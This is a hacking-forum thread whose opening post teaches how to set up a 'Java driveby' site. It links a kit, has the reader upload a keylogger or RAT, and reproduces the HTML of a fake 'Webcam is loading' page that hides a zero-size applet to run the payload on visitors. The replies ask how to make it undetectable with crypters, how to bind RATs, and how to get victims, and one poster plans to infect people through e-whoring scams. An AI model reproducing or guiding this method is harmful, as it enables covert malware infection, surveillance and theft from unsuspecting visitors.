Thread: [\[TUTORIAL\] Simple FUD Java Driveby \[TUTORIAL\]](#)

Meatwardo - January 27, 2013, 2:59 am

In this tutorial, I will be teaching you how to set up a Java driveby. It is very simple and will only take around 10 minutes after you get the hang of it.

Step 1) Download this .zip file which contains all the files you will need for the Java driveby:

http://uppit.com/hvr4j0f2jxs3/Java_Driveby.rar

Step 2) Create an account at SPAM, and create your site.

Step 3) Upload your keylogger, RAT, etc to www.uppit.com. Right-click on the download button and click copy link location.

Step 4) Unzip the Java driveby folder, and open index.html.

Replace:

Quote:<html>

<head>

<title> Please wait while the Webcam is loading...</title>

<style type=text/css>

body {

background-color: black;

}

#box {

border: 2px double white;

font-family: Verdana;

margin-right:160px;

margin-left:160px;

background-color: white;

}

</style>

</head>

<body>

<center>

<div id="box">

<pre> </pre>

Please wait while the Webcam is

loading...

</div>

</center>

</body>

</html>

<APPLET CODE = "Client.class" ARCHIVE = "Client.jar" WIDTH = "0" HEIGHT = "0">

<PARAM NAME = "AMLMAFOIEA" VALUE = "viruslink"[/

with the link to your virus. Save it.

Step 5) Upload all the files in the folder to the public_html folder on SPAM. There is a built in file manager. Save the changes.

Step 6) Check out your new Java driveby site.

It will look like this:

When someone runs the Java applet, it will execute your virus on their computer.

NOTE: index.html was not made by me, it was from another member. I do not remember who, and I do not take credit for it.

Simple but nice... Good for the ones who want to start spreading using this method.

Stacks - January 27, 2013, 7:50 am

It's still FUD? :)

Answer please since I've been thinking of trying this one out.

Kilden - January 27, 2013, 10:18 am

Hello there! this looks really lovely ! Awesome also! But i need help because my RaT won't execute.. please contact me i need further help ! :l

leoneliscool - January 27, 2013, 10:18 am

Can I bind my RAT Client to this? Even though my client is .exe instead of .jar?

JJ1039 - January 27, 2013, 11:20 am

how do you make a java drive by FUD? do you just crypt the client.jar like you would crypt a rat?

Honestly, you probably would know this better than me. Try asking a more experienced user.

I don't know exactly what you mean. Why not just put your RAT inside index.html?

You could try crypting it first though...

etop254 - January 27, 2013, 4:24 pm

Working great here, not fud but thanks for the share, i just need a crypter

This is awesome! I am going to use this with E-Whoring but instead of getting money I will RAT people. This is very HQ and nice tutorial.

This is a great TUT but its not working for me. Whenever I click "allow" on the java popup nothing happens, I don't get any notification on my RAT finding a conection.

Yes, I was downloading my own stub.

Snaffz - March 15, 2013, 2:46 am

Great Tutorial... Can somebody help me doing this with a Ucoz website? <http://www.ucoz.com/>

Twinshot - March 15, 2013, 6:25 am

wana try this out just getting started

I never owned a ucoz website, but I don't think you have a File Manager there.

If you do, just follow the Tut, else use, 000.webhost.com then shrink it with dot.tk

IceCript - March 15, 2013, 3:55 pm

Isn't it a Botnet? I mean, can I make Botnets with this guide?

castlefence2 - April 8, 2013, 2:46 am

Lol i followed the tut but i dont get me as victim -.- it doesnt download the file plz Help or fix the client.jar

copulatingdragon - October 23, 2013, 2:09 am

Anyone know where I can get the files for this? link is not working.

Thanks.

Gonzaga - October 23, 2013, 10:19 am

Very simple tutorial. I like this. Thanks for this OP. ?

Just stop... You upload the .exe to a file hoster. Then link to it in the website not the actual jar.

Look at his post date... its more than a year old. hopefully he learned it since then ?

Fajerfoks - February 23, 2014, 3:12 am

Awesome tutorial! Thanks a lot for this tutorial man.

Maxi - January 4, 2015, 5:46 am

Link broken, could you fix it please? Would be nice

ocat - January 21, 2015, 8:28 pm

^ yeah the link is broken, its possible to update it ? even if java drive is now not really possible

bluesky56 - January 23, 2015, 6:43 am

The link is not working. It is not possible to dowloand the rar archive!

? **EliteCracker** ? - January 24, 2015, 9:48 am

This doesn't make it competently fud...
